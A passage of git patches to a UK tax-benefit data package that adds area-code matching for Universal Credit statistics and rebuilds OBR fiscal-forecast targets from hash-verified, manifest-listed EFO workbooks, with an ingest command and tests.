+        assert len(codes) == len(set(codes)) == len(expected)
+        assert set(codes) == set(expected.index)
+        for target in local:
+            code = target["geo_code"]
+            assert target["name"] == f"dwp/{level}/{code}/uc_households"
+            assert target["geo_name"] == areas.loc[code, "name"]
+            assert target["values"] == {2025: float(expected.loc[code])}
diff --git a/policyengine_uk_data/utils/uc_data.py b/policyengine_uk_data/utils/uc_data.py
index ffe20896..4aa36b28 100644
--- a/policyengine_uk_data/utils/uc_data.py
+++ b/policyengine_uk_data/utils/uc_data.py
@@ -1,6 +1,73 @@
 import numpy as np
 import pandas as pd
 from pathlib import Path
+import re
+import unicodedata
+
+
+def _normalise_area_name(name: str) -> str:
+    """Ignore case, accents, punctuation and the spelling of ampersands."""
+    name = unicodedata.normalize("NFKD", name.casefold().replace("&", "and"))
+    return "".join(character for character in name if character.isalnum())
+
+
+def _area_name_aliases(name: str) -> set[str]:
+    # Welsh Stat-Xplore labels contain both Welsh and English names, in
+    # either order. Match either label, without guessing a translation.
+    return {_normalise_area_name(part) for part in re.split(r"/", name)} - {""}
+
+
+def _match_uc_area_codes(
+    data: pd.DataFrame, areas: pd.DataFrame, name_column: str
+) -> pd.DataFrame:
+    """Attach canonical codes with a complete, one-to-one area match.
+
+    Extracts with codes use those directly; the committed workbooks have
+    names only. Reject incomplete or ambiguous extracts before scaling so
+    the national rescale cannot hide a missing or duplicated area.
+    """
+    if areas["code"].isna().any() or areas["code"].duplicated().any():
+        raise ValueError("UC reference areas contain missing or duplicate codes")
+
+    aliases = {}
+    for area in areas.itertuples(index=False):
+        for alias in _area_name_aliases(area.name):
+            if alias in aliases and aliases[alias] != area.code:
+                raise ValueError(f"Ambiguous UC reference area name: {area.name!r}")
+            aliases[alias] = area.code
+
+    expected_codes = set(areas["code"])
+    matched_codes = []
+    for row in data.to_dict("records"):
+        code = row.get("code")
+        if pd.notna(code) and code != "":
+            if code not in expected_codes:
+                raise ValueError(f"Unmatched UC area code: {code!r}")
+        else:
+            name = row[name_column]
+            candidates = (
+                {
+                    aliases[alias]
+                    for alias in _area_name_aliases(name)
+                    if alias in aliases
+                }
+                if isinstance(name, str)
+                else set()
+            )
+            if len(candidates) != 1:
+                raise ValueError(f"Unmatched or ambiguous UC area name: {name!r}")
+            code = candidates.pop()
+        matched_codes.append(code)
+
+    result = data.copy()
+    result["code"] = matched_codes
+    duplicates = result.loc[result["code"].duplicated(keep=False), "code"].tolist()
+    if duplicates:
+        raise ValueError(f"Duplicate UC areas: {duplicates}")
+    missing = expected_codes - set(matched_codes)
+    if missing:
+        raise ValueError(f"Missing UC areas: {sorted(missing)}")
+    return result
 
 
 def parse_monthly_award_band(band: str) -> tuple[float, float]:
@@ -166,6 +233,11 @@ def _parse_uc_pc_households():
 
     # Combine GB and NI data
     result_df = pd.DataFrame(gb_data_rows + ni_data_rows)
+    result_df = _match_uc_area_codes(
+        result_df,
+        pd.read_csv(storage_path / "constituencies_2024.csv"),
+        "constituency_name",
+    )
 
     # Scale constituency counts to match national total
     national_total = _parse_uc_national_payment_dist()["household_count"].sum()
@@ -237,6 +309,11 @@ def _parse_uc_la_households():
 
     # Combine GB and NI data
     result_df = pd.DataFrame(gb_data_rows + ni_data_rows)
+    result_df = _match_uc_area_codes(
+        result_df,
+        pd.read_csv(storage_path / "local_authorities_2021.csv"),
+        "la_name",
+    )
 
     # Scale LA counts to match national total
     national_total = _parse_uc_national_payment_dist()["household_count"].sum()

From c1953c6838c6ebebc9002e083c36e012de13d701 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 07:08:07 -0400
Subject: [PATCH 16/76] Build OBR targets only from hash-verified EFO workbooks

The OBR targets came from whatever obr.uk served, falling back to
committed workbooks matched by URL substring, with the vintage label
taken from sources.yaml rather than the bytes, year columns fixed by
letter, and missing rows logged and dropped.

A manifest per EFO vintage (targets/source_manifests/) now names the two
workbooks with their SHA-256, size and own title, the unit and financial
years every parsed table must head, and the targets they must yield.
Builds read only the verified committed bytes; each table's years come
from its header row; a missing target or year, or an undeclared one,
fails the build. `python -m policyengine_uk_data.targets.obr_sources
ingest` adopts a new vintage from browser-downloaded workbooks and
prints each target's change.

On the March 2026 bytes all 29 OBR targets are unchanged.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 changelog.d/obr-source-manifest.changed.md    |   1 +
 policyengine_uk_data/targets/obr_sources.py   | 496 ++++++++++++++++++
 .../source_manifests/obr_march_2026.yaml      |  69 +++
 policyengine_uk_data/targets/sources.yaml     |   7 +-
 policyengine_uk_data/targets/sources/obr.py   | 321 +++---------
 .../tests/test_dwp_housing_benefit_targets.py |   3 +
 .../tests/test_esa_jsa_targets.py             |   3 +
 .../tests/test_obr_efo_fallback.py            | 250 ---------
 policyengine_uk_data/tests/test_obr_nics.py   |  31 +-
 .../tests/test_obr_receipts_sheet.py          |  15 +-
 .../tests/test_obr_sources.py                 | 385 ++++++++++++++
 .../tests/test_obr_universal_credit_target.py |   3 +
 12 files changed, 1045 insertions(+), 539 deletions(-)
 create mode 100644 changelog.d/obr-source-manifest.changed.md
 create mode 100644 policyengine_uk_data/targets/obr_sources.py
 create mode 100644 policyengine_uk_data/targets/source_manifests/obr_march_2026.yaml
 delete mode 100644 policyengine_uk_data/tests/test_obr_efo_fallback.py
 create mode 100644 policyengine_uk_data/tests/test_obr_sources.py

diff --git a/changelog.d/obr-source-manifest.changed.md b/changelog.d/obr-source-manifest.changed.md
new file mode 100644
index 00000000..b524adfd
--- /dev/null
+++ b/changelog.d/obr-source-manifest.changed.md
@@ -0,0 +1 @@
+Build the OBR targets only from the committed EFO workbooks named, with their SHA-256 and title, in a vintage manifest (`targets/source_manifests/`). Read each table's financial years from its header row rather than fixed column letters, and fail the build when a manifest target or year is missing instead of logging and dropping it. Add `python -m policyengine_uk_data.targets.obr_sources ingest` for adopting a new EFO vintage, which prints every target's change.
diff --git a/policyengine_uk_data/targets/obr_sources.py b/policyengine_uk_data/targets/obr_sources.py
new file mode 100644
index 00000000..4620e580
--- /dev/null
+++ b/policyengine_uk_data/targets/obr_sources.py
@@ -0,0 +1,496 @@
+"""Hash-bound OBR Economic and fiscal outlook workbooks.
+
+Each EFO vintage the OBR targets are built from has a manifest in
+``targets/source_manifests/``. It names the two "detailed forecast tables"
+workbooks (receipts and expenditure) with their SHA-256, size, title and
+provenance. It also gives the unit and the financial years every parsed
+table must carry, and the targets the vintage must yield. ``sources.yaml``
+names the manifest in use.
+
+Builds read only the committed bytes, verified against the manifest, and
+never download. A target's ``forecast_vintage`` therefore always names the
+publication its bytes came from. Year columns are read from each table's
+header row, so a vintage whose tables start a year later is parsed by
+year rather than by column letter. A missing row, year or target fails the
+build instead of being logged and dropped.
+
+Adopting a new vintage (for example on Budget day):
+
+    python -m policyengine_uk_data.targets.obr_sources ingest \\
+        --vintage october_2026 --label "October 2026" \\
+        --receipts receipts.xlsx --expenditure expenditure.xlsx \\
+        --first-year 2025 --last-year 2031
+
+obr.uk refuses scripted downloads (HTTP 403 to GitHub Actions runners, as
+11e41f9d records, and to a developer machine on 2026-10-15), so download
+the two workbooks in a browser and pass their paths. ``ingest`` copies them under ``storage/obr_efo/<vintage>/``,
+checks that each workbook's title names the vintage, parses them with the
+build's own parsers, and requires the targets the current manifest
+requires. It then writes the manifest and prints each target's change from
+the current vintage. Point ``sources.yaml`` at the new manifest to adopt it.
+"""
+
+from __future__ import annotations
+
+import argparse
+import hashlib
+import io
+import re
+import shutil
+import sys
+from dataclasses import dataclass
+from datetime import date
+from functools import lru_cache
+from pathlib import Path
+from typing import Mapping, Optional, Sequence
+
+import openpyxl
+import yaml
+
+MANIFEST_DIR = Path(__file__).parent / "source_manifests"
+KINDS = ("receipts", "expenditure")
+UNIT_SCALES = {"£ billion": 1e9}
+_FINANCIAL_YEAR = re.compile(r"^\s*(\d{4})\s*[-–]\s*(\d{2})\s*$")
+_HEADER_ROWS = 10
+_UNIT_ROWS = 4
+
+
+class SourceError(Exception):
+    """A source file, table or target set does not match its manifest.
+
+    Not a ValueError, so a parser's "row not found" handling cannot swallow
+    it: a table without the declared years or unit stops the build.
+    """
+
+
+@dataclass(frozen=True)
+class SourceFile:
+    kind: str
+    path: str  # relative to the storage folder
+    sha256: str
+    size_bytes: int
+    title: str  # the workbook's own title, cell B2 of its Contents sheet
+    url: str
+    retrieved: str
+
+
+@dataclass(frozen=True)
+class ObrManifest:
+    vintage: str
+    label: str
+    first_year: int  # financial years by the calendar year they start in
+    last_year: int
+    unit: str
+    files: Mapping[str, SourceFile]
+    required: tuple  # target names
+    alternatives: tuple  # each a tuple of sets of names; one set must be present
+    path: Optional[Path] = None
+
+    @property
+    def years(self) -> list:
+        return list(range(self.first_year, self.last_year + 1))
+
+    @property
+    def scale(self) -> float:
+        return UNIT_SCALES[self.unit]
+
+
+def parse_manifest(raw: Mapping, path: Optional[Path] = None) -> ObrManifest:
+    where = str(path or "manifest")
+    if (raw or {}).get("schema_version") != 1:
+        raise SourceError(f"{where}: schema_version must be 1")
+    unit = raw.get("unit")
+    if unit not in UNIT_SCALES:
+        raise SourceError(f"{where}: unit must be one of {sorted(UNIT_SCALES)}")
+    first, last = int(raw["first_year"]), int(raw["last_year"])
+    if not first <= last:
+        raise SourceError(f"{where}: first_year is after last_year")
+    files = {}
+    for kind in KINDS:
+        entry = (raw.get("files") or {}).get(kind)
+        if not entry:
+            raise SourceError(f"{where}: no {kind} workbook")
+        sha = str(entry["sha256"])
+        if not re.fullmatch(r"[0-9a-f]{64}", sha):
+            raise SourceError(f"{where}: {kind} sha256 must be 64 hex characters")
+        files[kind] = SourceFile(
+            kind=kind,
+            path=str(entry["path"]),
+            sha256=sha,
+            size_bytes=int(entry["size_bytes"]),
+            title=str(entry["title"]),
+            url=str(entry["url"]),
+            retrieved=str(entry["retrieved"]),
+        )
+    required, alternatives = [], []
+    for item in (raw.get("targets") or {}).get("required") or []:
+        if isinstance(item, str):
+            required.append(item)
+        elif isinstance(item, Mapping) and item.get("any_of"):
+            alternatives.append(tuple(frozenset(group) for group in item["any_of"]))
+        else:
+            raise SourceError(f"{where}: unreadable required target {item!r}")
+    if len(set(required)) != len(required):
+        raise SourceError(f"{where}: a required target is listed twice")
+    if not required:
+        raise SourceError(f"{where}: no required targets")
+    return ObrManifest(
+        vintage=str(raw["vintage"]),
+        label=str(raw["label"]),
+        first_year=first,
+        last_year=last,
+        unit=unit,
+        files=files,
+        required=tuple(required),
+        alternatives=tuple(alternatives),
+        path=path,
+    )
+
+
+def load_manifest(path) -> ObrManifest:
+    path = Path(path)
+    if not path.is_absolute():
+        path = MANIFEST_DIR / path
+    with open(path) as f:
+        return parse_manifest(yaml.safe_load(f), path)
+
+
+@lru_cache(maxsize=1)
+def active_manifest() -> ObrManifest:
+    """The manifest ``sources.yaml`` names for the OBR targets."""
+    from policyengine_uk_data.targets.sources._common import load_config
+
+    return load_manifest(load_config()["obr"]["manifest"])
+
+
+def _storage() -> Path:
+    from policyengine_uk_data.storage import STORAGE_FOLDER
+
+    return Path(STORAGE_FOLDER)
+
+
+def sha256_bytes(data: bytes) -> str:
+    return hashlib.sha256(data).hexdigest()
+
+
+def verified_bytes(entry: SourceFile, storage: Optional[Path] = None) -> bytes:
+    """The file's bytes, if and only if they are the ones the manifest names."""
+    path = (storage or _storage()) / entry.path
+    if not path.is_file():
+        raise SourceError(f"OBR {entry.kind} workbook {path} is missing")
+    data = path.read_bytes()
+    if len(data) != entry.size_bytes or sha256_bytes(data) != entry.sha256:
+        raise SourceError(
+            f"OBR {entry.kind} workbook {path} is not the file its manifest "
+            f"names: {len(data)} bytes, sha256 {sha256_bytes(data)}, against "
+            f"{entry.size_bytes} bytes, sha256 {entry.sha256}"
+        )
+    return data
+
+
+def workbook_title(wb: openpyxl.Workbook) -> str:
+    """The title an EFO workbook gives itself (Contents sheet, cell B2)."""
+    if "Contents" not in wb.sheetnames:
+        raise SourceError("the workbook has no Contents sheet")
+    return str(wb["Contents"]["B2"].value or "").strip()
+
+
+def load_workbook(
+    kind: str,
+    manifest: Optional[ObrManifest] = None,
+    storage: Optional[Path] = None,
+) -> openpyxl.Workbook:
+    """Open a manifest's verified workbook, checking it carries its own title."""
+    manifest = manifest or active_manifest()
+    entry = manifest.files[kind]
+    wb = openpyxl.load_workbook(
+        io.BytesIO(verified_bytes(entry, storage)), data_only=False
+    )
+    if workbook_title(wb) != entry.title:
+        raise SourceError(
+            f"OBR {kind} workbook is titled {workbook_title(wb)!r}, not {entry.title!r}"
+        )
+    return wb
+
+
+def year_columns(ws, first_year: int, last_year: int) -> dict:
+    """Map the column letters of a table's financial-year headers to years.
+
+    The header row is the first of the top rows with cells reading like
+    "2025-26"; each maps to the calendar year it starts in. The years must
+    be exactly ``first_year`` to ``last_year``, each once, so a table that
+    starts a year later, or misses a year, fails rather than being read
+    with the wrong labels.
+    """
+    for row in ws.iter_rows(min_row=1, max_row=_HEADER_ROWS):
+        found = {}
+        for cell in row:
+            match = (
+                _FINANCIAL_YEAR.match(cell.value)
+                if isinstance(cell.value, str)
+                else None
+            )
+            if not match:
+                continue
+            start, end = int(match[1]), int(match[2])
+            if (start + 1) % 100 != end:
+                raise SourceError(
+                    f"{ws.title}!{cell.coordinate}: {cell.value!r} is not one "
+                    "financial year"
+                )
+            if start in found.values():
+                raise SourceError(
+                    f"{ws.title}: {cell.value!r} heads two columns of row {cell.row}"
+                )
+            found[cell.column_letter] = start
+        if found:
+            years = sorted(found.values())
+            if years != list(range(first_year, last_year + 1)):
+                raise SourceError(
+                    f"{ws.title}: header row {row[0].row} covers "
+                    f"{', '.join(str(y) for y in years)}, but the manifest "
+                    f"declares {first_year} to {last_year}"
+                )
+            return found
+    raise SourceError(
+        f"{ws.title}: no row of financial-year headers in rows 1-{_HEADER_ROWS}"
+    )
+
+
+def unit_scale(ws, unit: str) -> float:
+    """The multiplier for a table's values, from its unit label."""
+    for row in ws.iter_rows(min_row=1, max_row=_UNIT_ROWS):
+        for cell in row:
+            if isinstance(cell.value, str) and cell.value.strip().startswith(unit):
+                return UNIT_SCALES[unit]
+    raise SourceError(f"{ws.title}: no {unit!r} unit label in rows 1-{_UNIT_ROWS}")
+
+
+def read_row(ws, row: int, manifest: ObrManifest) -> dict:
+    """A table row's numeric values by year, in pounds."""
+    scale = unit_scale(ws, manifest.unit)
+    out = {}
+    for column, year in year_columns(
+        ws, manifest.first_year, manifest.last_year
+    ).items():
+        value = ws[f"{column}{row}"].value
+        if isinstance(value, (int, float)) and not isinstance(value, bool):
+            out[year] = float(value) * scale
+    return out
+
+
+def coverage_problems(targets: Sequence, manifest: ObrManifest) -> list:
+    """Everything wrong with the targets built from a vintage's workbooks.
+
+    Targets built from the workbooks are those carrying the vintage. Each
+    required target must be present with every year of the manifest; one
+    set of each ``any_of`` group must be present; and no workbook target
+    may be missing from the manifest, so the manifest stays the complete
+    list.
+    """
+    built = {t.name: t for t in targets if t.forecast_vintage == manifest.vintage}
+    problems = []
+    for name in manifest.required:
+        if name not in built:
+            problems.append(f"{name} was not built")
+    for groups in manifest.alternatives:
+        if not any(group <= set(built) for group in groups):
+            options = " or ".join("+".join(sorted(g)) for g in groups)
+            problems.append(f"none of {options} was built")
+    declared = set(manifest.required).union(
+        *(group for groups in manifest.alternatives for group in groups)
+    )
+    for name, target in sorted(built.items()):
+        if name not in declared:
+            problems.append(f"{name} was built but is not in the manifest")
+        missing = [y for y in manifest.years if y not in target.values]
+        if missing:
+            problems.append(
+                f"{name} has no value for {', '.join(str(y) for y in missing)}"
+            )
+    return problems
+
+
+def check_coverage(targets: Sequence, manifest: ObrManifest) -> None:
+    problems = coverage_problems(targets, manifest)
+    if problems:
+        raise SourceError(
+            f"OBR {manifest.label} targets are incomplete: " + "; ".join(problems)
+        )
+
+
+def target_diff(old: Sequence, new: Sequence) -> list:
+    """Each workbook target's value by year in two target sets."""
+    before = {t.name: t for t in old}
+    after = {t.name: t for t in new}
+    rows = []
+    for name in sorted(set(before) | set(after)):
+        a, b = before.get(name), after.get(name)
+        years = sorted(set(a.values if a else {}) | set(b.values if b else {}))
+        for year in years:
+            x = a.values.get(year) if a else None
+            y = b.values.get(year) if b else None
+            rows.append({"target": name, "year": year, "old": x, "new": y})
+    return rows
+
+
+def _manifest_yaml(manifest: ObrManifest, alternatives_raw) -> str:
+    raw = {
+        "schema_version": 1,
+        "vintage": manifest.vintage,
+        "label": manifest.label,
+        "first_year": manifest.first_year,
+        "last_year": manifest.last_year,
+        "unit": manifest.unit,
+        "files": {
+            kind: {
+                "path": f.path,
+                "sha256": f.sha256,
+                "size_bytes": f.size_bytes,
+                "title": f.title,
+                "url": f.url,
+                "retrieved": f.retrieved,
+            }
+            for kind, f in manifest.files.items()
+        },
+        "targets": {
+            "required": list(manifest.required)
+            + [{"any_of": groups} for groups in alternatives_raw]
+        },
+    }
+    header = (
+        f"# OBR Economic and fiscal outlook, {manifest.label}: detailed forecast\n"
+        "# tables. Written by `python -m policyengine_uk_data.targets.obr_sources\n"
+        "# ingest`; see that module for what each field means.\n"
+    )
+    return header + yaml.safe_dump(raw, sort_keys=False, allow_unicode=True)
+
+
+def ingest(
+    *,
+    vintage: str,
+    label: str,
+    sources: Mapping[str, Path],
+    urls: Mapping[str, str],
+    first_year: int,
+    last_year: int,
+    current: Optional[ObrManifest] = None,
+    storage: Optional[Path] = None,
+    manifest_dir: Optional[Path] = None,
+    retrieved: Optional[str] = None,
+):
+    """Adopt a vintage's two workbooks. Returns (manifest, manifest path, diff)."""
+    from policyengine_uk_data.targets.sources import obr
+
+    current = current or active_manifest()
+    storage = storage or _storage()
+    manifest_dir = manifest_dir or MANIFEST_DIR
+    retrieved = retrieved or f"ingested {date.today().isoformat()}"
+    if not re.fullmatch(r"[a-z]+_\d{4}", vintage):
+        raise SourceError("vintage must look like october_2026")
+    files = {}
+    for kind in KINDS:
+        data = Path(sources[kind]).read_bytes()
+        try:
+            wb = openpyxl.load_workbook(io.BytesIO(data), data_only=False)
+        except Exception as error:
+            raise SourceError(
+                f"{sources[kind]} is not an xlsx workbook ({type(error).__name__}: "
+                f"{error}); obr.uk serves an HTML page to scripted downloads, so "
+                "download the workbook in a browser"
+            ) from error
+        title = workbook_title(wb)
+        if not title.startswith(
+            f"{label} Economic and fiscal outlook"
+        ) or not title.endswith(kind):
+            raise SourceError(
+                f"{sources[kind]} is titled {title!r}, which is not the {label} "
+                f"EFO {kind} tables"
+            )
+        relative = f"obr_efo/{vintage}/{kind}.xlsx"
+        target = storage / relative
+        target.parent.mkdir(parents=True, exist_ok=True)
+        shutil.copyfile(sources[kind], target)
+        files[kind] = SourceFile(
+            kind=kind,
+            path=relative,
+            sha256=sha256_bytes(data),
+            size_bytes=len(data),
+            title=title,
+            url=urls.get(kind, ""),
+            retrieved=retrieved,
+        )
+    alternatives_raw = [
+        [sorted(group) for group in groups] for groups in current.alternatives
+    ]
+    manifest = ObrManifest(
+        vintage=vintage,
+        label=label,
+        first_year=first_year,
+        last_year=last_year,
+        unit=current.unit,
+        files=files,
+        required=current.required,
+        alternatives=current.alternatives,
+    )
+    try:
+        # Raises unless the new workbooks yield every target and year required.
+        new = obr.workbook_targets(manifest, storage)
+    except Exception:
+        shutil.rmtree(storage / "obr_efo" / vintage, ignore_errors=True)
+        raise
+    old = obr.workbook_targets(current)
+    path = Path(manifest_dir) / f"obr_{vintage}.yaml"
+    path.write_text(_manifest_yaml(manifest, alternatives_raw))
+    return load_manifest(path), path, target_diff(old, new)
+
+
+def _gbp(value) -> str:
+    return "" if value is None else f"{value / 1e9:,.3f}"
+
+
+def main(argv=None) -> int:
+    parser = argparse.ArgumentParser(
+        prog="python -m policyengine_uk_data.targets.obr_sources"
+    )
+    sub = parser.add_subparsers(dest="command", required=True)
+    i = sub.add_parser("ingest", help="adopt a new EFO vintage's workbooks")
+    i.add_argument("--vintage", required=True, help="e.g. october_2026")
+    i.add_argument("--label", required=True, help='e.g. "October 2026"')
+    i.add_argument("--receipts", required=True, type=Path)
+    i.add_argument("--expenditure", required=True, type=Path)
+    i.add_argument("--receipts-url", default="")
+    i.add_argument("--expenditure-url", default="")
+    i.add_argument("--first-year", required=True, type=int)
+    i.add_argument("--last-year", required=True, type=int)
+    i.add_argument("--retrieved", help="how and when the files were obtained")
+    v = sub.add_parser("verify", help="verify the active manifest's workbooks")
+    v.add_argument("--manifest", help="manifest file (default: the active one)")
+    args = parser.parse_args(argv)
+    if args.command == "verify":
+        from policyengine_uk_data.targets.sources import obr
+
+        manifest = load_manifest(args.manifest) if args.manifest else active_manifest()
+        targets = obr.workbook_targets(manifest)
+        check_coverage(targets, manifest)
+        print(f"{manifest.label}: both workbooks verified, {len(targets)} targets")
+        return 0
+    manifest, path, diff = ingest(
+        vintage=args.vintage,
+        label=args.label,
+        sources={"receipts": args.receipts, "expenditure": args.expenditure},
+        urls={"receipts": args.receipts_url, "expenditure": args.expenditure_url},
+        first_year=args.first_year,
+        last_year=args.last_year,
+        retrieved=args.retrieved,
+    )
+    print(f"wrote {path}")
+    print("target,year,current £bn,new £bn")
+    for row in diff:
+        print(f"{row['target']},{row['year']},{_gbp(row['old'])},{_gbp(row['new'])}")
+    print(f"To adopt it, set obr.manifest in sources.yaml to {path.name}.")
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())
diff --git a/policyengine_uk_data/targets/source_manifests/obr_march_2026.yaml b/policyengine_uk_data/targets/source_manifests/obr_march_2026.yaml
new file mode 100644
index 00000000..a0716cc2
--- /dev/null
+++ b/policyengine_uk_data/targets/source_manifests/obr_march_2026.yaml
@@ -0,0 +1,69 @@
+# OBR Economic and fiscal outlook, March 2026: detailed forecast tables.
+# The bytes, not this file's labels, decide the vintage: builds verify each
+# workbook's SHA-256, size and own title (Contents!B2) before parsing it.
+# See targets/obr_sources.py for every field.
+schema_version: 1
+vintage: march_2026
+label: March 2026
+# Financial years every parsed table must head, by the calendar year they
+# start in: 2024-25 to 2030-31.
+first_year: 2024
+last_year: 2030
+unit: £ billion
+files:
+  receipts:
+    path: obr_efo/efo_receipts.xlsx
+    sha256: f65b6cb7f96931d4abd85940794eb60f6f65afca8bbf16c74a4548bf92766a28
+    size_bytes: 187899
+    title: "March 2026 Economic and fiscal outlook – detailed forecast tables: receipts"
+    url: https://obr.uk/download/march-2026-economic-and-fiscal-outlook-detailed-forecast-tables-receipts/
+    retrieved: >-
+      Committed on 2026-07-21 in 11e41f9d, as the download fallback. The
+      workbook's own properties record it as modified on 2026-03-02.
+      obr.uk refused scripted downloads on 2026-10-15 (HTTP 403), so the
+      bytes were not re-fetched for this manifest.
+  expenditure:
+    path: obr_efo/efo_expenditure.xlsx
+    sha256: 700bfd700c872794e5fe8cf164086cd38a63850db26427b9d4b2e363d177d9a1
+    size_bytes: 236965
+    title: "March 2026 Economic and fiscal outlook – detailed forecast tables: expenditure"
+    url: https://obr.uk/download/march-2026-economic-and-fiscal-outlook-detailed-forecast-tables-expenditure/
+    retrieved: >-
+      Committed on 2026-07-21 in 11e41f9d, as the download fallback. The
+      workbook's own properties record it as modified on 2026-03-02.
+      obr.uk refused scripted downloads on 2026-10-15 (HTTP 403), so the
+      bytes were not re-fetched for this manifest.
+# Every target the workbooks must yield, each with every year above. A
+# target the parsers build that is not listed here also fails, so changing
+# the target set means changing this list.
+targets:
+  required:
+    - obr/income_tax
+    - obr/ni
+    - obr/vat
+    - obr/fuel_duties
+    - obr/capital_gains_tax
+    - obr/sdlt
+    - obr/ni_employee
+    - obr/ni_employer
+    - obr/council_tax
+    - obr/council_tax_england
+    - obr/council_tax_scotland
+    - obr/council_tax_wales
+    - obr/domestic_rates
+    - obr/pip
+    - obr/esa
+    - obr/attendance_allowance
+    - obr/carers_allowance
+    - obr/statutory_maternity_pay
+    - obr/winter_fuel_allowance
+    - obr/child_benefit
+    - obr/state_pension
+    - obr/jobseekers_allowance
+    - obr/universal_credit
+    - obr/tv_licence_fee
+    # Self-employed NICs: one combined Class 2 and 4 line (March 2026), or
+    # the two classes on separate rows (earlier vintages).
+    - any_of:
+        - [obr/ni_self_employed]
+        - [obr/ni_class_2, obr/ni_class_4]
diff --git a/policyengine_uk_data/targets/sources.yaml b/policyengine_uk_data/targets/sources.yaml
index 973e3956..a5a3b773 100644
--- a/policyengine_uk_data/targets/sources.yaml
+++ b/policyengine_uk_data/targets/sources.yaml
@@ -2,9 +2,10 @@
 # Update these when new vintages are published.
 
 obr:
-  efo_receipts: "https://obr.uk/download/march-2026-economic-and-fiscal-outlook-detailed-forecast-tables-receipts/"
-  efo_expenditure: "https://obr.uk/download/march-2026-economic-and-fiscal-outlook-detailed-forecast-tables-expenditure/"
-  vintage: "march_2026"
+  # The EFO vintage the OBR targets come from: a manifest in
+  # targets/source_manifests/ naming its hash-verified workbooks. Adopt a new
+  # vintage with `python -m policyengine_uk_data.targets.obr_sources ingest`.
+  manifest: obr_march_2026.yaml
 
 hmrc:
   spi_collated: "https://assets.publishing.service.gov.uk/media/69f1f12d2fae53a03709682f/Collated_Tables_3_1_to_3_11_2324.ods"
diff --git a/policyengine_uk_data/targets/sources/obr.py b/policyengine_uk_data/targets/sources/obr.py
index 1b7d3661..60f2be1d 100644
--- a/policyengine_uk_data/targets/sources/obr.py
+++ b/policyengine_uk_data/targets/sources/obr.py
@@ -1,150 +1,28 @@
 """OBR Economic and Fiscal Outlook targets.
 
-Downloads and parses the OBR's detailed supplementary tables (receipts
-and expenditure xlsx) to extract tax receipt forecasts, benefit
-expenditure, and benefit caseloads.
-
-Sources:
-- Receipts: https://obr.uk/download/march-2026-economic-and-fiscal-outlook-detailed-forecast-tables-receipts/
-- Expenditure: https://obr.uk/download/march-2026-economic-and-fiscal-outlook-detailed-forecast-tables-expenditure/
+Parses the OBR's detailed forecast tables (receipts and expenditure
+workbooks) to extract tax receipt forecasts, benefit expenditure, and
+benefit caseloads. The workbooks are the committed, hash-verified files the
+active manifest names (``targets/obr_sources.py``); nothing is downloaded.
+Each table's year columns are read from its header row, and a missing
+target or year fails the build.
 """
 
-import io
 import logging
-import time
-from functools import lru_cache
 
 import openpyxl
-import requests
 
-from policyengine_uk_data.targets.schema import GREAT_BRITAIN, Target, Unit
-from policyengine_uk_data.targets.sources._common import (
-    HEADERS,
-    load_config,
+from policyengine_uk_data.targets.obr_sources import (
+    ObrManifest,
+    active_manifest,
+    check_coverage,
+    load_workbook,
+    read_row,
 )
+from policyengine_uk_data.targets.schema import GREAT_BRITAIN, Target, Unit
 
 logger = logging.getLogger(__name__)
 
-# Financial year columns in OBR tables: C=2024-25, D=2025-26, ..., I=2030-31
-# PolicyEngine convention: FY 2025-26 → calendar year 2025 (first year)
-_FY_COL_TO_YEAR = {
-    "C": 2024,
-    "D": 2025,
-    "E": 2026,
-    "F": 2027,
-    "G": 2028,
-    "H": 2029,
-    "I": 2030,
-}
-
-
-# OBR occasionally rate-limits CI runners (HTTP 429) or returns transient 5xx
-# errors. Retry with exponential backoff so a single throttled response does not
-# drop the whole OBR target set and red an unrelated build.
-_DOWNLOAD_MAX_ATTEMPTS = 4
-_DOWNLOAD_RETRY_STATUSES = {429, 500, 502, 503, 504}
-
-
-# obr.uk serves 403 Forbidden to GitHub Actions runner IPs (observed on the
-# 2026-07-21 push builds: every attempt 403'd while the same URLs work from
-# residential connections). A 403 is not retryable, and losing the workbook
-# silently drops 28 OBR targets and calibrates a degraded dataset. The EFO
-# workbooks for the vintage pinned in sources.yaml are therefore committed
-# under storage/obr_efo/ — following the committed-not-fetched precedent of
-# capital_gains_size_distribution_hmrc.csv and ons_demographics.py — and
-# used as a fallback whenever the download fails. Update them together with
-# the sources.yaml URLs when a new EFO vintage is adopted.
-_EFO_FALLBACKS = {
-    "receipts": "efo_receipts.xlsx",
-    "expenditure": "efo_expenditure.xlsx",
-}
-
-
-def _fallback_workbook(url: str) -> openpyxl.Workbook | None:
-    from policyengine_uk_data.storage import STORAGE_FOLDER
-
-    for slug, filename in _EFO_FALLBACKS.items():
-        if slug in url:
-            path = STORAGE_FOLDER / "obr_efo" / filename
-            if path.exists():
-                return openpyxl.load_workbook(path, data_only=False)
-    return None
-
-
-@lru_cache(maxsize=2)
-def _download_workbook(url: str) -> openpyxl.Workbook:
-    """Download an xlsx from OBR and return an openpyxl workbook.
-
-    Retries transient HTTP errors (429/5xx) and connection failures with
-    exponential backoff, honouring a numeric Retry-After header when
-    present. Falls back to the committed workbook in storage/obr_efo/ when
-    the download ultimately fails: obr.uk 403s CI runner IPs, and can answer
-    200 with an HTML page that is not a workbook. Neither is retried.
-    """
-    last_error: Exception | None = None
-    for attempt in range(_DOWNLOAD_MAX_ATTEMPTS):
-        wait = 2**attempt
-        try:
-            r = requests.get(url, headers=HEADERS, allow_redirects=True, timeout=60)
-        except requests.RequestException as e:
-            last_error = e  # connection/timeout — retryable
-        else:
-            if r.status_code < 400:
-                # obr.uk can answer 200 with an HTML "No Access" page instead
-                # of the workbook (observed 2026-10-04). A body openpyxl cannot
-                # read will not become a workbook on retry, so it is permanent,
-                # like a 403. An openpyxl break on every workbook still
-                # surfaces, as the fallback goes through the same load_workbook.
-                try:
-                    return openpyxl.load_workbook(
-                        io.BytesIO(r.content), data_only=False
-                    )
-                except Exception as e:
-                    last_error = ValueError(
-                        f"{r.status_code} for url: {url}, but the body "
-                        f"({r.headers.get('Content-Type', 'no Content-Type')}) "
-                        "could not be read as an xlsx workbook "
-                        f"({type(e).__name__}: {e})"
-                    )
-                    last_error.__cause__ = e
-                    break
-            last_error = requests.HTTPError(
-                f"{r.status_code} for url: {url}", response=r
-            )
-            if r.status_code not in _DOWNLOAD_RETRY_STATUSES:
-                break  # 403 and other permanent errors: don't burn retries
